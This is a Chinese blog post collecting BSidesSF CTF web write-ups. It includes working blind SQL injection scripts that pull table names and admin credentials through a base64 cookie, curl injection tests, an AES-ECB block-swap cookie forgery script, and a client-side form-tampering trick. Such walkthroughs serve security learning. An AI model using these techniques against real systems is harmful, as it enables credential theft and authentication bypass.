在网上刷的题目,难度还好,一些题目很有借鉴意义,收录了一些web方面的writeup,用来学习。有更好的解题思路欢迎留言。
这题比较简单这登陆,该cookie为admin 就能得到flag了
这题直接查看元素 看到flag
https://sequel-9cba4c8e.challenges.bsidessf.net/
链接应该还没有失效,可以自行复现。
访问页面,发现登陆框。
抓包,返回cookie:
set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly
base64解密一下:
{"username":"guest","password":"guest"}
登陆以后,会发现在hacker的那一栏提示我们要以admin的角色登陆,所以本题的大致思路应该就是通过普通用户注入出admin的密码,然后登陆。
测试:
[sequel]$ echo '{"username":"unknown\" OR \"1\"=\"2","password":"guest"}' | base64
eyJ1c2VybmFtZSI6InVua25vd25cIiBPUiBcIjFcIj1cIjIiLCJwYXNzd29yZCI6Imd1ZXN0In0K
[sequel]$ curl --cookie "1337_AUTH=eyJ1c2VybmFtZSI6InVua25vd25cIiBPUiBcIjFcIj1cIjIiLCJwYXNzd29yZCI6Imd1ZXN0In0K" https://sequel-9cba4c8e.challenges.bsidessf.net/sequels
Invalid user.
1=2发现有错误
[sequel]$ echo '{"username":"unknown\" OR \"1\"=\"1","password":"guest"}' | base64
eyJ1c2VybmFtZSI6InVua25vd25cIiBPUiBcIjFcIj1cIjEiLCJwYXNzd29yZCI6Imd1ZXN0In0K
[sequel]$ curl --cookie "1337_AUTH=eyJ1c2VybmFtZSI6InVua25vd25cIiBPUiBcIjFcIj1cIjEiLCJwYXNzd29yZCI6Imd1ZXN0In0K" https://sequel-9cba4c8e.challenges.bsidessf.net/sequels
1=1 发现正常反应,由此可见注入点在此,然后编写脚本:
import requests
import base64
import string
import sys
out = ""
while True:
for letter in string.printable:
tmp = out + letter
payload = r'{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name LIKE \"{}\" limit 1) OR \"","password":"guest"}}'.format(tmp + '%')
payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
r = requests.get('https://sequel-9cba4c8e.challenges.bsidessf.net/sequels', cookies={"1337_AUTH" : payload})
if "Movie" in r.text:
out = tmp
sys.stdout.write(letter)
sys.stdout.flush()
break
通过这个脚本可以不断的测试表名:
import requests
import base64
import string
import sys
out = ""
while True:
for letter in string.printable:
tmp = out + letter
if letter == 'g': continue
payload = r'{{"username":"\" OR EXISTS(SELECT username FROM userinfo WHERE username LIKE \"{}\" limit 1) OR \"","password":"guest"}}'.format(tmp + '%')
payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
r = requests.get('https://sequel-9cba4c8e.challenges.bsidessf.net/sequels', cookies={"1337_AUTH" : payload})
if "Movie" in r.text:
out = tmp
sys.stdout.write(letter)
sys.stdout.flush()
break
通过这个脚本可以获得用户名和密码
sequeladmin
f5ec3af19f0d3679e7d5a148f4ac323d
登陆之后,可以找到flag
如下是题目的链接
登陆
可以看到有cookie
cookie被加密 加密的方式是AES ECB ,但是这种方式是不安全的。
有这么一个参考链接
https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
随机翻转一个字节,看看我们的猜测是不是正确的。
从上面可以知道,加密的内容是我们穿过去的用户名和密码还有一个is_admin,形式是json。
我们的任务就是为了把上面的形式变成下面这个
最开始是一位一位的测试,吧0的位置变成1,但是最终都是失败的。
如果我们能控制一个加密块,然后整块的替换,工作应该是可以的进行的。使用如下的payload
为了保持位数一样,在结束的地方多添加一个0。由下图可知,这是一个合法的json数据。
{"first_name":"A
的长度是16字节,对应cookie的第一个加密块,因为是十六进制编码的32个字符,然后cookie的下一个16字就是我们想要的payload 1.00000000000000复制粘贴到cookie里面:
需要注意的是要想找到合适的位置需要注意一下payload的长度{"first_name":"A1.00000000000000","last_name":"paww","is_admin":
得到flag
以下是脚本:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
url = "https://mixer-f3834380.challenges.bsidessf.net"
action="""?action=login&first_name=A1.00000000000000&last_name=paww"""
r = requests.get(url+action, verify=False, allow_redirects=False)
for c in r.cookies:
print(c.name, c.value)
if c.name == "user":
c.value = c.value[:-32] + c.value[32:64] + c.value[-32:]
resp = requests.get(url, cookies = r.cookies, verify=False, allow_redirects=False)
print resp.text
这个题目没有看太懂:找到了一个解释和一个payload:
To solve this challenge we must beat the computer at tic tac toe. It's impossible to beat a properly written computer, so instead you have to hack it.
First we notice that when we click a square, a form is submitted to /move with the location of the square (l, c, or r for the row, and u, b, or nothing preceding for the top, bottom, or center rows respectively). For example, the center square is just c, and the top left square is ul.
<!-- HTML for the empty bottom row of a tic tac toe board -->
<tr>
<form id="form_ul" method="POST" action="/move"></form>
<input type="hidden" name="move" value="ul">
<td id="ul" onclick="$('#form_ul').submit()"> </td>
<form id="form_u" method="POST" action="/move"></form>
<input type="hidden" name="move" value="u">
<td id="u" onclick="$('#form_u').submit()"> </td>
<form id="form_ur" method="POST" action="/move"></form>
<input type="hidden" name="move" value="ur">
<td id="ur" onclick="$('#form_ur').submit()"> </td>
</tr>
$.post("/move", {
move:"c"
});
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有